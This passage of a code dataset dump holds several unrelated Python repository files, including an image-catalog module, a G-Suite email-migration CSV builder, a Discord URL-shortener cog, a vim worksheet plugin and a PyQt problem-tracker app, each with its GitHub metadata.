known_city + ext\n continue\n\n entry.name = name + ' ' + default_city + ext\n\n @staticmethod\n def clean_name(name: str) -> str:\n if '/' in name:\n name = name.replace('/', '-')\n if '\\\\' in name:\n name = name.replace('\\\\', '-')\n return name\n\n @staticmethod\n def get_known_city(name: str) -> str:\n for n in Constants.known_locations:\n if name.startswith(n):\n return n\n return \"\"\n\n def update_video_path(self):\n \"\"\"In the given list 'move' the movies into 'filmchen' folder \"\"\"\n for entry in self.file_list:\n if entry.kind == Constants.VIDEO_KIND and not entry.path.endswith('filmchen'):\n entry.path = os.path.join(entry.path, 'filmchen')\n\n def update_names(self,\n destination_folder: str = \"\",\n nas: bool = False,\n dropbox: bool = False,\n name_from_modified_date: bool = False,\n keep_manual_names: bool = False,\n is_month: bool = False) -> None:\n \"\"\"Call set_name for every name. See set_name.\"\"\"\n for entry in self.file_list:\n Folder.set_name(entry,\n destination_folder=destination_folder,\n nas=nas,\n dropbox=dropbox,\n name_from_modified_date=name_from_modified_date,\n keep_manual_names=keep_manual_names,\n is_month=is_month)\n\n @staticmethod\n def set_name(entry: Entry,\n destination_folder: str = \"\",\n nas: bool = False,\n dropbox: bool = False,\n name_from_modified_date: bool = False,\n keep_manual_names: bool = False,\n is_month: bool = False) -> None:\n \"\"\" Set the name and path for a file based on the following criteria:\n\n Path: if the destination_folder parameter is not empty, use that as the path. If it is empty, assemble the path\n from the captured date (YYYY/MM_MonthName) or if the captured date is not set, from the modified time date.\n Sometimes the filename itself contains a string YYYYMMDD somewhere in the middle (true for Whatsapp images),\n if that pattern is found, set the path accordingly. The name is kept as is.\n However, if the date does not come from the captured time, check that the file has not already been catalogued\n somewhere else and moved there manually. So if the catalog contains the same checksum already, the file is\n skipped.\n\n Name:\n If the name_from_captured_date is True, and the entry has the captured time, use that to set the file name.\n If the name_from_modified_date is True, and it does have the captured_date, then again the captured date is set.\n Otherwise the modified date is set, prepended to the previous name (with an @ in between).\n There is also a keep_manual_names flag, if set, we simply keep the name if it seems to be mostly characters,\n not digits, because that seems like a human set the name manually.\n \"\"\"\n\n if nas:\n entry.nas = True\n if dropbox:\n entry.dropbox = True\n\n # set folder\n if destination_folder and not is_month:\n entry.path = destination_folder\n else:\n Folder.set_path_from_name(entry)\n\n # set name\n name, ext = os.path.splitext(entry.name)\n entry.name = name + ext.lower()\n if keep_manual_names and Folder.is_probably_text(name):\n # if there is significant text in the name already, keep that text, ignore numerals\n if hasattr(entry, \"captured\"):\n # but append the captured time to the text if there is one\n entry.name = name + ' ' + entry.captured_str + ext.lower()\n return\n if hasattr(entry, \"captured\"):\n # if there is a captured date/time, use that, always\n entry.name = entry.captured_str + ext.lower()\n elif name_from_modified_date:\n # Prepend the modification date if explicitly requested\n entry.name = entry.modified_time_str + ' @ ' + name + ext.lower()\n\n @staticmethod\n def is_probably_text(name):\n chars_only = \"\".join([\n c\n for c in name\n if ('A' <= c <= 'z') or c == ' '\n ])\n return len(chars_only) / len(name) > 0.5\n\n @staticmethod\n def path_from_name(name) -> str:\n n1 = Folder.__name_date.match(name)\n if n1:\n year = n1.group('year')\n month = n1.group('mon')\n return os.path.join(year, get_month_by_number(month))\n\n n2 = Folder.__name_date2.match(name)\n if n2:\n year = n2.group('year')\n month = n2.group('mon')\n return os.path.join(year, get_month_by_number(month))\n\n return \"\"\n\n @staticmethod\n def path_from_path(entry) -> bool:\n n = Folder.__path_date.match(entry.path)\n if n:\n year = n.group('year')\n month = n.group('mon')\n day = n.group('day')\n entry.path = os.path.join(year, get_month_by_number(month), \"Whatsapp\")\n entry.name = year + \"-\" + month + \"-\" + day + \".\" + entry.type\n return True\n return False\n\n @staticmethod\n def set_path_from_name(entry):\n if hasattr(entry, \"captured\"):\n entry.set_path_from_captured_time()\n else:\n entry.check_if_in_catalog = True\n path = Folder.path_from_name(entry.name)\n if path:\n entry.path = os.path.join(path, \"Whatsapp\")\n return # do not modify the name if we got the path from it\n else:\n if Folder.path_from_path(entry):\n return\n\n entry.set_path_from_modified_time()\n\n def print_folders(self):\n paths = dict()\n for item in self.__file_list:\n n = paths.setdefault(item.path, 0)\n paths[item.path] += 1\n for path in paths.keys():\n print(f\"{path} : Intention to add {paths[path]} files\")\n","repo_name":"pkunszt/image-catalog","sub_path":"data/directory.py","file_name":"directory.py","file_ext":"py","file_size_in_byte":12559,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"9807929844","text":"l1 = list(map(int,input().split(\",\")))\nl1.sort()\nl1 = list(set(l1))\n\nl = []\n\n# for i_index,i in enumerate(l1[0:-2]):\n# for j_index,j in enumerate(l1[i_index+1:]):\n# l.append((i,j))\n\nl = [(i,j) for i_index,i in enumerate(l1) for j_index,j in enumerate(l1[i_index+1:]) ]\nnewl = [sublist for sublist in l if sublist[0]*sublist[1] % 2 == 0]\nprint(newl)\n\n\n# [print(i*x,end=' ') for i in l1]\n\n\n\n'''\nSample Input\n1,2,3,4,5\n\nSample Output\n[(1, 2), (1, 4), (2, 3), (2, 4), (2, 5), (3, 4), (4, 5)]\n'''\n\n\n'''\nBasically when you have questions like this :\n\n1)FIRST WRITE THE NESTED LOOPS\n2)THEN CONVERT INTO LIST COMPHREHENSION\nhttps://www.youtube.com/watch?v=AzKV9NbtNJ0 watch this to revisit basics\nhttps://www.geeksforgeeks.org/nested-list-comprehensions-in-python/\n\nImportant techniques used:\n\n->converting nested for loop to list comprehension\n-> l1 = list(set(l1))\n-> enumerate and slicing\n'''","repo_name":"Niranjan-GopaL/Interesting-Assignments","sub_path":"Python/Lab-13/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":900,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"39959281738","text":"\"\"\"\nTo initiate migration in G-Suite, the tool needs a csv template of: target_email, source_email, source_email_password\n\nTo create this, ``bulk_upload.py`` needs to receive the csv from ``convert_email.py`` and the original csv downloaded from the source G-Suite account\n\nIt pulls the ``target_email`` from the csv generated by ``convert_email.py`` and the ``soure_email`` + ``source_email_password`` from the source account users csv\n\"\"\"\n\n\nimport csv\nfrom csv import reader\nimport pandas as pd \n\nimport datetime\nx = datetime.datetime.now()\ndate = x.strftime(\"%m\") + x.strftime(\"%d\") + x.strftime(\"%y\")\n\n#=================================================\n#Read/Store data from sonsray + tksvinc emails\n#=================================================\ndef read_csv(csv, lst):\n with open(csv) as file:\n csv_reader = reader(file)\n for row in csv_reader:\n lst.append(row)\n \nsonsray_emails_csv = input('Input Sonsray CSV: ') #csv created from convert_email.py\ntksvinc_emails_csv = input('Input Tksvinc CSV: ') #csv downloaded from google with original @tksvinc domain \n\nsonsray_email_list = [] \ntksvinc_email_list = [] \n\nread_csv(sonsray_emails_csv, sonsray_email_list)\nread_csv(tksvinc_emails_csv, tksvinc_email_list)\n\n\n#=================================================\n#Zip email lists together to prep data for writing to CSV\n#=================================================\n\nzipped_emails = list(zip(sonsray_email_list, tksvinc_email_list))\n\n\n#=================================================\n#Create new list with format of: sonsray_email, tksvinc_email, password\n#=================================================\nbulk_upload_format = []\n\nnew_sonsray_email = zipped_emails[1][0][2]\ntksvinc_email = zipped_emails[1][1][2]\nemail_password = zipped_emails[1][1][3]\n\nfor i in range(1, len(zipped_emails)):\n bulk_upload_format.extend([[zipped_emails[i][0][2], zipped_emails[i][1][2], zipped_emails[i][1][3]]])\n\n\n#=================================================\n#Write bulk_upload_format to csv \n#=================================================\ndf = pd.DataFrame(bulk_upload_format)\ndf.to_csv(f'bulk_upload_sonsray_{date}.csv', index=False)","repo_name":"spaceSamura1/email_migration","sub_path":"bulk_upload.py","file_name":"bulk_upload.py","file_ext":"py","file_size_in_byte":2188,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"29482366670","text":"def read_and_count(file: str) -> str:\n \"\"\"\n Открывает файл и считает кол-во слов.\n Текст приводится к списку, содержащий слова в нижнем регистре,\n исключающий символы.\n Возвращает значения ключей одной строкой через пробел.\n Пример return: '2 3 1 1 5'\n \"\"\"\n with open(file, 'r') as f:\n text = f.read().lower().split()\n text_strip = list(map(lambda x: x.strip('.,!?;:()-_—'), text))\n cnt_words = __import__('collections').Counter(text_strip)\n return ' '.join(map(str, dict(cnt_words).values()))\n","repo_name":"Harlok13/Study","sub_path":"librarys_modules/collections_/Counter/Counter.py","file_name":"Counter.py","file_ext":"py","file_size_in_byte":701,"program_lang":"python","lang":"ru","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"} +{"seq_id":"16038811745","text":"import requests\nimport discord\nfrom discord.ext import commands\nfrom os import getenv\n#envから取得\nKUTT_HOST = str(getenv(\"KUTT_HOST\"))+\"/api/v2/links\"\nKUTT_API_KEY = getenv(\"KUTT_API_KEY\")\ndef gen(url):\n try:\n r = requests.post(KUTT_HOST, data={\"target\": url}, headers={'X-API-KEY': KUTT_API_KEY}).json()\n return r['link']\n except:\n return \"False\"\nclass Short(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n @commands.command()\n async def short(self, ctx, *arg):\n url = gen(arg[0])\n await ctx.channel.send(url)","repo_name":"Giratina-net/Giratina","sub_path":"cogs/short.py","file_name":"short.py","file_ext":"py","file_size_in_byte":582,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"60"} +{"seq_id":"33354734647","text":"from __future__ import print_function\nimport vim\nimport os\nimport sys\nPY3K = sys.version_info >= (3, 0, 0)\nif PY3K:\n from . import repl\nelse:\n import repl\n str = unicode\n\nif sys.platform != 'win32':\n # Make sure /usr/local/bin is on the path\n exec_path = os.getenv('PATH', '').split(os.pathsep)\n if \"/usr/local/bin\" not in exec_path:\n os.environ[\"PATH\"] = os.pathsep.join(exec_path + [\"/usr/local/bin\"])\n\n\ndef compatible_dict(vim_dict):\n # vim will pass int as string to python\n def vbool(string):\n return bool(int(string))\n\n for key, value in vim_dict.items():\n if key == 'timeout':\n vim_dict[key] = int(value)\n elif key == 'strip_echo':\n if isinstance(value, dict):\n vim_dict[key] = {k: vbool(v) for k, v in value.items()}\n else:\n vim_dict[key] = vbool(value)\n elif isinstance(value, dict):\n vim_dict[key] = compatible_dict(value)\n return vim_dict\n\n# store source_buffer_id => WorksheetCommand\nCache = {}\ndefault_setting = vim.eval('g:worksheet_repl_setting')\ndefault_setting = compatible_dict(default_setting)\n\n\nclass WorksheetCommand():\n def __init__(self, input_buf, output_buf):\n self.input_buf = vim.buffers[input_buf]\n self.output_buf = vim.buffers[output_buf]\n self.load_settings()\n Cache[input_buf] = self\n\n def prepare(self):\n try:\n language = self.get_language()\n default_def = self.get_repl_settings()\n repl_defs = self.settings.get(\"worksheet_languages\")\n project_repl_defs = self.project_settings.\\\n get(\"worksheet_languages\", {})\n proj_def = project_repl_defs.\\\n get(language, repl_defs.get(language, {})).items()\n repl_def = dict(list(default_def) + list(proj_def))\n repl_def['prefix'] = ''\n filename = self.input_buf.name\n if filename is not None:\n repl_def[\"cwd\"] = os.path.dirname(filename)\n self.repl = repl.get_repl(language, repl_def)\n except repl.ReplStartError as e:\n self.error(str(e))\n return\n self.remove_previous_results()\n\n def load_settings(self):\n self.settings = default_setting\n self.timeout = self.settings.get('worksheet_timeout')\n\n def get_repl_settings(self):\n default_def = self.settings.get(\"worksheet_defaults\")\n if not hasattr(self, \"project_settings\"):\n self.project_settings = {}\n project_def = self.project_settings.get(\"worksheet_defaults\", {})\n settings = []\n for key, setting in default_def.items():\n settings.append((key, project_def.get(key, setting)))\n return settings\n\n def get_language(self):\n return vim.eval('&ft').lower()\n\n def remove_previous_results(self):\n input_buf = self.input_buf\n output_buf = self.output_buf\n num = 0\n for line in output_buf:\n if num >= len(input_buf):\n break\n if len(line) and len(input_buf[num]) == 0:\n input_buf[num] = None\n else:\n num += 1\n output_buf[:] = None\n\n def make_sheet(self):\n self.remove_previous_results()\n self.prepare()\n input_buf = self.input_buf\n line = 0\n while line < len(input_buf):\n source = input_buf[line]\n ret = self.repl.correspond(source)\n output = str(ret).strip()\n self.insert(output, line)\n if ret.terminates:\n self.cleanup()\n break\n line += output.count('\\n') + 1\n # remove initial white line\n self.output_buf[-1] = None\n self.cleanup()\n\n def insert(self, text, start):\n text = str(text)\n extra_lines = text.count('\\n')\n if extra_lines:\n vim.command(\n '{0} normal {1}o'.format(start, extra_lines),\n )\n for i, t in enumerate(text.split('\\n')):\n self.output_buf.append(t, start+i)\n\n def set_status(self, msg, key=\"Worksheet\"):\n vim.command('echo \"' + key + ':' + msg + '\"')\n\n def error(self, msg):\n print(msg, file=sys.stderr)\n\n def cleanup(self):\n try:\n self.repl.close()\n except repl.ReplCloseError as e:\n self.error(\"Could not close the REPL:\\n\" + str(e))\n\n def end_session(self):\n self.cleanup()\n self.remove_previous_results()\n bufnum = self.output_buf.number\n vim.command('bd! %d' % bufnum)\n del Cache[self.input_buf.number]\n\n\nclass WorksheetEvalCommand(WorksheetCommand):\n def run(self):\n WorksheetCommand.prepare(self)\n self.make_sheet()\n self.cleanup()\n\n\nclass WorksheetClearCommand(WorksheetCommand):\n def run(self):\n WorksheetCommand.prepare(self)\n","repo_name":"HerringtonDarkholme/vim-worksheet","sub_path":"plugin/worksheet.py","file_name":"worksheet.py","file_ext":"py","file_size_in_byte":4921,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"60"} +{"seq_id":"27349683391","text":"# \"w+\" write/read \n# \"r+\" read/write\n# \"a+\" append/read\n# write() write contents info of file \n# read() read content\n#append() append contents info of file\n# 4 append file:\n\n# f = open(\"student.txt\",\"a\")\n# s = input(\"write content\")\n# f.write(s)\n\n# f.close()\n\nimport time\n# f = open(\"expenses.txt\",\"w\")\n# expenseby = input(\"Enter expense by\")\n# grocerry = input(\"Enter grocerry details\")\n# milk = input(\"Enter milk expenses\")\n# rent = input(\"Enter rent expenses\")\n# date = time.asctime(time.localtime(time.time()))\n# f.write(\"Today Expenses Details\")\n# f.write(\"\\n\")\n# f.write(\"Grocerry:\"+grocerry)\n# f.write(\"\\n\")\n# f.write(\"Milk:\" +milk)\n# f.write(\"\\n\")\n# f.write(\"Rent:\" +rent)\n# f.write(\"\\n\")\n# f.write(\"Date:\" + date)\n# f.close()\n\n# append content to the file \n# f=open(\"expenses.txt\",\"a\")\n# expenseby = input(\"Expenses by: \")\n# grocerry = input(\"grocerry details : \")\n# milk = input(\"milk expenses : \")\n# roomrent = input(\"Roomrent expense\")\n# bill = input(\"Bill expense\")\n# date =time.asctime(time.localtime(time.time()))\n# f.write(\"\\n\")\n# f.write(\"expenses by \"+ expenseby)\n# f.write(\"\\n\")\n# f.write(\"grocerry details\"+grocerry)\n# f.write(\"\\n\")\n# f.write(\"milk \"+milk)\n# f.write(\"\\n\")\n# f.write(\"roomrent \"+roomrent)\n# f.write(\"\\n\")\n# f.write(\"bijali bill \"+bill)\n# f.write(\"\\n\")\n# f.write(\"Date: \"+date)\n# f.close()\n\n# open file w+ mode write/read\n# f=open(\"expenses.txt\",\"w+\")\n# expenseby = input(\"Expenses by: \")\n# grocerry = input(\"grocerry details : \")\n# milk = input(\"milk expenses : \")\n# roomrent = input(\"Roomrent expense\")\n# bill = input(\"Bill expense\")\n# date =time.asctime(time.localtime(time.time()))\n# f.write(\"\\n\")\n# f.write(\"expenses by \"+ expenseby)\n# f.write(\"\\n\")\n# f.write(\"grocerry details\"+grocerry)\n# f.write(\"\\n\")\n# f.write(\"milk \"+milk)\n# f.write(\"\\n\")\n# f.write(\"roomrent \"+roomrent)\n# f.write(\"\\n\")\n# f.write(\"bijali bill \"+bill)\n# f.write(\"\\n\")\n# f.write(\"Date: \"+date)\n# f.seek(0)\n# s=f.read()\n# print(s)\n# f.close()\n\n# open file \"a+\" mode append/read \n# f=open(\"expenses.txt\",\"a+\")\n# expenseby = input(\"Expenses by: \")\n# grocerry = input(\"grocerry details : \")\n# milk = input(\"milk expenses : \")\n# roomrent = input(\"Roomrent expense\")\n# bill = input(\"Bill expense\")\n# date =time.asctime(time.localtime(time.time()))\n# f.write(\"\\n\")\n# f.write(\"expenses by \"+ expenseby)\n# f.write(\"\\n\")\n# f.write(\"grocerry details\"+grocerry)\n# f.write(\"\\n\")\n# f.write(\"milk \"+milk)\n# f.write(\"\\n\")\n# f.write(\"roomrent \"+roomrent)\n# f.write(\"\\n\")\n# f.write(\"bijali bill \"+bill)\n# f.write(\"\\n\")\n# f.write(\"Date: \"+date)\n# f.seek(0)\n# s=f.read()\n# print(s)\n# f.close()\n\nclass FileOperation:\n def createFile(self):\n self.f = open(\"info.txt\",\"a+\")\n def writeFile(self):\n title = input(\"Enter title\")\n self.f.write(\"\\n\"+title)\n desc = input(\"Write content\")\n self.f.write(\"\\n\"+desc)\n def readFile(self):\n self.f.seek(0) #it will reset cursor position to any index\n res = self.f.read()\n print(res)\n self.f.close()\n\nobj = FileOperation()\nobj.createFile()\nobj.writeFile()\nobj.readFile()\n\n\n\n\n\n\n\n\n\n\n\n\n\n ","repo_name":"yogitasolanki888/restaurent","sub_path":"tutor/yogita/container/filehandling/file1.py","file_name":"file1.py","file_ext":"py","file_size_in_byte":3069,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"31057969516","text":"import json\nimport os\nimport sys\nfrom functools import partial\nfrom typing import List\n\nfrom PyQt5 import QtCore, QtGui\nfrom PyQt5.QtCore import Qt\nfrom PyQt5.QtGui import QColor, QPixmap, QIcon\nfrom PyQt5.QtWidgets import (QAbstractItemView, QApplication, QComboBox,\n QDialog, QFileDialog, QMainWindow, QMessageBox,\n QTableWidget, QTableWidgetItem)\n\nfrom UI import app_main, new_problems_dialog\n\nBASE_DIR = os.path.dirname(__file__)\nPREFERENCES_DIR = \"./UI/preference/preference.config\"\nif not os.path.exists(os.path.dirname(PREFERENCES_DIR)):\n os.mkdir(os.path.dirname(PREFERENCES_DIR))\n with open(PREFERENCES_DIR, \"w\") as preference:\n json.dump({}, preference, indent=3)\nif not os.path.exists(PREFERENCES_DIR):\n with open(PREFERENCES_DIR, \"w\") as preference:\n json.dump({}, preference, indent=3)\n\nwith open(PREFERENCES_DIR, \"r\") as preferences_file:\n preferences = json.load(preferences_file)\nif preferences:\n DEFAULT_FILE = preferences[\"default_file\"]\nelse:\n DEFAULT_FILE = \"FINAL450.json\"\n\n\ndef update_preference(data):\n with open(PREFERENCES_DIR, \"w\") as preference_update:\n json.dump(data, preference_update, indent=3)\n\n\ndef create_icon(icon_path):\n icon = QIcon()\n pixmap = QPixmap(icon_path)\n icon.addPixmap(pixmap, QtGui.QIcon.Normal, QtGui.QIcon.Off)\n return icon\n\n\ndef showMessage(title, text, message_type):\n if message_type == \"info\":\n message = QMessageBox(QMessageBox.Information, title, text, QMessageBox.Ok)\n message.exec_()\n elif message_type == \"warning\":\n message = QMessageBox(QMessageBox.Warning, title, text, QMessageBox.Close)\n message.exec_()\n elif message_type == \"error\":\n message = QMessageBox(QMessageBox.Critical, title, text, QMessageBox.Retry)\n message.exec_()\n\n\ndef saveFileDialog(parent, title=\"Save Cracker Sheet\", extension=\"Json File (*.json)\"):\n options = QFileDialog.Options()\n file_name, _ = QFileDialog.getSaveFileName(\n parent, caption=title, filter=extension, options=options\n )\n if file_name:\n return file_name\n\n\ndef openFileNameDialog(parent, title=\"Open Cracker Sheet\", filter_=\"Json File (*.json)\"):\n options = QFileDialog.Options()\n file_name, _ = QFileDialog.getOpenFileName(\n parent, caption=title, filter=filter_, options=options\n )\n if file_name:\n return file_name\n\n\ndef setSel(selected: List[int], table_widget: QTableWidget):\n \"\"\"\n Select all rows for the given index range\n \"\"\"\n table_widget.setSelectionMode(QAbstractItemView.MultiSelection)\n for i in selected:\n table_widget.selectRow(i)\n\n\ndef remove_row_all_table(table_widget: \"QTableWidget\"):\n \"\"\"\n Select and Delete rows from table widget\n \"\"\"\n selected_rows = table_widget.selectionModel().selectedRows()\n count = 0\n if selected_rows:\n row_indices = []\n for row_index in selected_rows:\n row_indices.append(row_index.row())\n row_indices.sort(key=lambda x: -1 * x)\n for row in row_indices: # sorted in descending order\n table_widget.removeRow(row)\n count += 1\n return count\n\n\ndef setColortoRow(table, rowIndex, color: str):\n for j in range(table.columnCount()):\n try:\n table.item(rowIndex, j).setBackground(QColor(color))\n except AttributeError:\n pass\n\n\ndef delete_all_rows(table_widget: QTableWidget):\n \"\"\"\n Just pass table_widget object, and all rows will be deleted\n \"\"\"\n row_count = table_widget.rowCount()\n table_widget.setSelectionMode(QAbstractItemView.ExtendedSelection)\n setSel(list(range(row_count)), table_widget)\n remove_row_all_table(table_widget)\n table_widget.setSelectionMode(QAbstractItemView.ExtendedSelection)\n\n\nclass AddProblems(QDialog):\n get_results = QtCore.pyqtSignal(list)\n\n def __init__(self, prob_id):\n super(AddProblems, self).__init__()\n self.ui = new_problems_dialog.Ui_Dialog()\n self.ui.setupUi(self)\n self.setWindowModality(Qt.ApplicationModal)\n\n self.prob_id = prob_id\n\n self.ui.lineEdit_probId.setText(str(self.prob_id))\n self.ui.pushButton_save.clicked.connect(self.validate)\n self.ui.pushButton_cancel.clicked.connect(self.close)\n\n def validate(self):\n problem_name = self.ui.lineEdit_name.text()\n topic = self.ui.lineEdit_topic.text()\n problem_link = self.ui.lineEdit_link.text()\n is_done = self.ui.comboBox.currentText()\n problem_id = self.ui.lineEdit_probId.text()\n\n flag = True\n for item in [problem_name, problem_link, topic]:\n if not (item is not None and item != \"\"):\n flag = False\n if flag:\n self.get_results.emit(\n [problem_id, topic, problem_name, problem_link, is_done]\n )\n self.close()\n else:\n showMessage(\n \"Invalid value\",\n \"You left some values empty, please try to enter them again\",\n \"error\",\n )\n\n\ndef check_changed_index(comboBox, index):\n if index == 0: # no\n comboBox.setStyleSheet(\"background-color: red;\")\n else:\n comboBox.setStyleSheet(\"background-color: green;\")\n\n\nclass AppWindow(QMainWindow):\n def __init__(self):\n super(AppWindow, self).__init__()\n self.column_count = 4\n self.ui = app_main.Ui_MainWindow()\n self.ui.setupUi(self)\n\n # update button icons\n self.ui.pushButton_add_prob.setIcon(create_icon(os.path.join(BASE_DIR, \"UI/Raw/icons/add_probs.png\")))\n self.ui.pushButton_remove_prob.setIcon(create_icon(os.path.join(BASE_DIR, \"UI/Raw/icons/del_probs.png\")))\n\n self.ui.tableWidget_problems.setColumnCount(4)\n self.ui.tableWidget_problems.setHorizontalHeaderLabels(\n [\"Id\", \"Topic\", \"Problem Name\", \"Is Done?\"]\n )\n if not os.path.exists(DEFAULT_FILE):\n self.load_or_close()\n else:\n showMessage(\n \"File Loaded\", f\"DSA cracker sheet loaded from:{DEFAULT_FILE}\", \"info\"\n )\n self.table_data = self.load_json()\n self.load_data(self.table_data)\n\n self.ui.tableWidget_problems.cellPressed.connect(self.show_cell_data)\n self.ui.pushButton_save.clicked.connect(partial(self.save_data, \"save\"))\n self.ui.actionSave_As.triggered.connect(partial(self.save_data, \"save-as\"))\n\n self.ui.actionShow_Pending_Problems.triggered.connect(partial(self.show_filtered, \"pending\"))\n self.ui.actionShow_Completed_Problems.triggered.connect(partial(self.show_filtered, \"completed\"))\n self.ui.actionShow_All.triggered.connect(partial(self.show_filtered, \"all\"))\n\n self.ui.actionLoad_Sheet.triggered.connect(self.load_or_close)\n self.ui.pushButton_add_prob.clicked.connect(self.add_problem)\n self.ui.pushButton_remove_prob.clicked.connect(self.remove_record)\n\n self.ui.label_complete_def.setOpenExternalLinks(True)\n self.ui.label_complete_def.setTextInteractionFlags(Qt.LinksAccessibleByMouse)\n\n def load_or_close(self):\n global DEFAULT_FILE\n file_name = openFileNameDialog(\n self, \"Open Cracker Sheet Problems Files\", \"json file (*.json)\"\n )\n if file_name:\n DEFAULT_FILE = file_name\n update_preference({\"default_file\": file_name})\n self.ui.statusbar.showMessage(\"Preference file updated!\")\n else:\n showMessage(\n \"Exiting Program\",\n \"DEFAULT FILE DOESN'T EXIST, CRACKER SHEET NOT SELECTED, EXITING PROGRAM\",\n \"error\",\n )\n self.close()\n self.table_data = self.load_json()\n self.load_data(self.table_data)\n\n def show_filtered(self, filter_by):\n row_count = self.ui.tableWidget_problems.rowCount()\n\n if filter_by == \"pending\":\n for row in range(row_count):\n is_hidden = self.ui.tableWidget_problems.cellWidget(\n row, 3\n ).currentIndex()\n if is_hidden == 0: # no\n self.ui.tableWidget_problems.showRow(row)\n else:\n self.ui.tableWidget_problems.hideRow(row)\n\n elif filter_by == \"all\":\n for row in range(row_count):\n self.ui.tableWidget_problems.showRow(row)\n\n elif filter_by == \"completed\":\n for row in range(row_count):\n is_hidden = self.ui.tableWidget_problems.cellWidget(\n row, 3\n ).currentIndex()\n if is_hidden == 0: # no\n self.ui.tableWidget_problems.hideRow(row)\n else:\n self.ui.tableWidget_problems.showRow(row)\n\n @staticmethod\n def load_json():\n with open(DEFAULT_FILE, \"r\") as data:\n table_data = json.load(data)\n return table_data\n\n def load_data(self, data):\n \"\"\"\n :param data: json dictionary\n :return:\n \"\"\"\n delete_all_rows(\n self.ui.tableWidget_problems\n ) # All rows will be deleted before adding new ones\n if not data:\n data = {}\n prob_id, prob_name, topic, done = [], [], [], []\n self.links = []\n for k, v in data.items():\n if k == \"Problem:\":\n for row in v:\n id_ = row[\"ID\"]\n name = row[\"Name\"]\n link = row[\"Link\"]\n prob_id.append(id_)\n prob_name.append(name)\n self.links.append(link)\n elif k == \"Done [yes or no]\":\n for row in v:\n done.append(row)\n elif k == \"Topic:\":\n for row in v:\n topic.append(row)\n print(\n f\"len problem_id: {len(prob_id)}, prob_name: {len(prob_name)}, topic: {len(topic)}, done:{len(done)}\\n\"\n )\n for id_, name, tpic, is_done in zip(prob_id, prob_name, topic, done):\n temp_row = [id_, tpic, name, is_done]\n isDone = 0 if is_done == \"No\" else 1\n self.insert_problems_row(isDone)\n self.insert_table_row(temp_row)\n if isDone:\n setColortoRow(\n self.ui.tableWidget_problems,\n self.ui.tableWidget_problems.rowCount() - 1,\n \"green\",\n )\n else:\n setColortoRow(\n self.ui.tableWidget_problems,\n self.ui.tableWidget_problems.rowCount() - 1,\n \"red\",\n )\n self.last_id = id_\n\n def insert_table_row(self, row_data):\n \"\"\"\n Adds data to an empty row in the table\n :param row_data: data to be inserted in a row in the table\n :return:\n \"\"\"\n row_count = self.ui.tableWidget_problems.rowCount()\n self.ui.tableWidget_problems.setItem(\n row_count - 1, 0, QTableWidgetItem(str(row_data[0]))\n )\n self.ui.tableWidget_problems.setItem(\n row_count - 1, 1, QTableWidgetItem(str(row_data[1]))\n )\n self.ui.tableWidget_problems.setItem(\n row_count - 1, 2, QTableWidgetItem(str(row_data[2]))\n )\n\n self.ui.tableWidget_problems.cellWidget(row_count - 1, 3).setCurrentIndex(\n 0 if row_data[3] == \"No\" else 1\n )\n\n def show_cell_data(self, row_no, *args):\n data_text = self.ui.tableWidget_problems.item(row_no, 2).text()\n if self.ui.tableWidget_problems.cellWidget(row_no, 3).currentIndex() == 0:\n self.ui.label_complete_def.setText(\n data_text\n + f'
Link: {self.links[row_no]}'\n )\n else:\n self.ui.label_complete_def.setText(\n data_text\n + \" [COMPLETED]\"\n + f'
Link: {self.links[row_no]}'\n )\n\n def insert_problems_row(self, current_index=0):\n \"\"\"\n Creates an empty row in the table (with combobox)\n :param current_index:\n :return:\n \"\"\"\n row_count = self.ui.tableWidget_problems.rowCount()\n comboBox = QComboBox(self.ui.tableWidget_problems)\n comboBox.addItems([\"No\", \"Yes\"])\n comboBox.setStyleSheet(\"background-color: red;\")\n comboBox.currentIndexChanged.connect(\n partial(check_changed_index, comboBox)\n )\n comboBox.setCurrentIndex(current_index)\n\n self.ui.tableWidget_problems.insertRow(row_count)\n self.ui.tableWidget_problems.setCellWidget(row_count, 3, comboBox)\n\n def save_data(self, mode=\"save\", no_message=False):\n row_count = self.ui.tableWidget_problems.rowCount()\n all_data = {}\n ids = []\n problems = []\n topics = []\n is_dones = []\n for row in range(row_count):\n id_ = self.ui.tableWidget_problems.item(row, 0).text()\n ids.append(id_)\n topic = self.ui.tableWidget_problems.item(row, 1).text()\n topics.append(topic)\n name = self.ui.tableWidget_problems.item(row, 2).text()\n problems.append({\"ID\": id_, \"Name\": name, \"Link\": self.links[row]})\n is_done = self.ui.tableWidget_problems.cellWidget(row, 3).currentText()\n is_dones.append(is_done)\n all_data = {\n \"Topic:\": topics,\n \"Problem:\": problems,\n \"Done [yes or no]\": is_dones,\n }\n if mode == \"save\":\n with open(DEFAULT_FILE, \"w\") as json_file:\n json.dump(all_data, json_file, indent=3)\n if not no_message:\n showMessage(\n \"File Saved\", f\"Data File saved at {DEFAULT_FILE}\", \"info\"\n )\n elif mode == \"save-as\":\n file_name = openFileNameDialog(self, filter_=\"json file (*.json)\")\n if file_name:\n with open(file_name, \"w\") as json_file:\n json.dump(all_data, json_file, indent=3)\n showMessage(\n \"File Saved\", f\"Data File saved at {file_name}\", \"info\"\n )\n self.ui.statusbar.showMessage(\"File Saved!\")\n\n def add_problem(self):\n self.add_prob_window = AddProblems(int(self.last_id) + 1)\n self.add_prob_window.get_results.connect(self.add_to_json)\n self.add_prob_window.show()\n\n def add_to_json(self, problem_data):\n problem_id, topic, problem_name, problems_link, is_done = (\n problem_data[0],\n problem_data[1],\n problem_data[2],\n problem_data[3],\n problem_data[4],\n )\n self.insert_problems_row(0 if is_done == \"No\" else 1)\n self.insert_table_row([problem_id, topic, problem_name, is_done])\n self.last_id = problem_id\n self.save_data(no_message=True) # updates record\n\n def remove_record(self):\n rows_deleted = remove_row_all_table(self.ui.tableWidget_problems)\n self.save_data(no_message=True) # update records\n self.ui.statusbar.showMessage(\n f\"{rows_deleted} rows removed, records have been updated\", 1000\n ) # show update for 1 